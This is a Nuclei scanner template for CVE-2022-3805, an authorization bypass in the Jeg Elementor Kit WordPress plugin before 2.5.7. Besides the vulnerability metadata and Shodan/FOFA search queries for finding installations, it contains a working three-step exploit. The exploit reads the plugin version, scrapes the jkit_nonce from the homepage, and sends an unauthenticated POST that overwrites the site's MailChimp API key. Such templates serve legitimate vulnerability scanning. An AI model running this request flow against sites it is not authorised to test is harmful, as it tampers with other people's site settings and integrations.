CVE-2022-3805: Jeg Elementor Kit < 2.5.7 - Unauthenticated Settings Update

id: CVE-2022-3805

info:
  name: Jeg Elementor Kit < 2.5.7 - Unauthenticated Settings Update
  author: DhiyaneshDk,popcorn94
  severity: high
  description: |
    The Jeg Elementor Kit plugin for WordPress is vulnerable to authorization bypass in various functions used to update the plugin settings in versions up to, and including, 2.5.6. Unauthenticated users can use an easily available nonce, obtained from pages edited by the plugin, to update the MailChimp API key, global styles, 404 page settings, and enabled elements.
  impact: |
    Unauthenticated attackers can exploit authorization bypass using easily obtained nonces to update plugin settings including MailChimp API keys, global styles, and 404 page configurations, potentially compromising site integrations and design.
  remediation: Fixed in 2.5.7
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3805
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/jeg-elementor-kit/jeg-elementor-kit-256-unauthenticated-authorization-bypass
    - https://wordpress.org/plugins/jeg-elementor-kit/#developers
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/c9955d65-afb3-4d28-abd2-9f2fec92d013
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
    cvss-score: 8.6
    cve-id: CVE-2022-3805
    cwe-id: CWE-79
    epss-score: 0.01581
    epss-percentile: 0.74272
    cpe: cpe:2.3:a:jegtheme:jeg_elementor_kit:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: jegtheme
    product: jeg_elementor_kit
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/jeg-elementor-kit"
    fofa-query: body="/wp-content/plugins/jeg-elementor-kit/"
    publicwww-query: "/wp-content/plugins/jeg-elementor-kit/"
  tags: cve,cve2022,wordpress,wp,wp-plugin,jeg-elementor-kit,vkev,unauth,intrusive,vuln

variables:
  rand: "{{rand_text_numeric(5)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-content/plugins/jeg-elementor-kit/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "< 2.5.7")'
          - 'contains(body, "Jeg Elementor Kit")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - "(?mi)Stable tag: ([0-9.]+)"
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "jeg-elementor-kit")
          - contains(content_type, "text/html")
        condition: and
        internal: true

    extractors:
      - type: regex
        group: 1
        name: nonce
        regex:
          - 'jkit_nonce = "([a-zA-Z0-9]{10})"'
        internal: true

      - type: regex
        group: 1
        name: url
        regex:
          - 'jkit_ajax_url = "(http[s]?://[^"]+)"'
        internal: true

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        jkit-ajax-request=jkit_elements&form_data[mailchimp_api_key]={{rand}}&action=save_user_data&nonce={{nonce}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "Success Save Data")
          - contains(content_type, "application/json")
        condition: and
# digest: 490a00463044022037001207adc76bd40946eedb7c0683a7ce6b9346dd570ecffec3cfacd699f777022001518aa9d5dc0236c152fb7a3d2bce26830389ba8a7579b8ebdac63856c6a24f:922c64590222798bb761d5b6d8e72950

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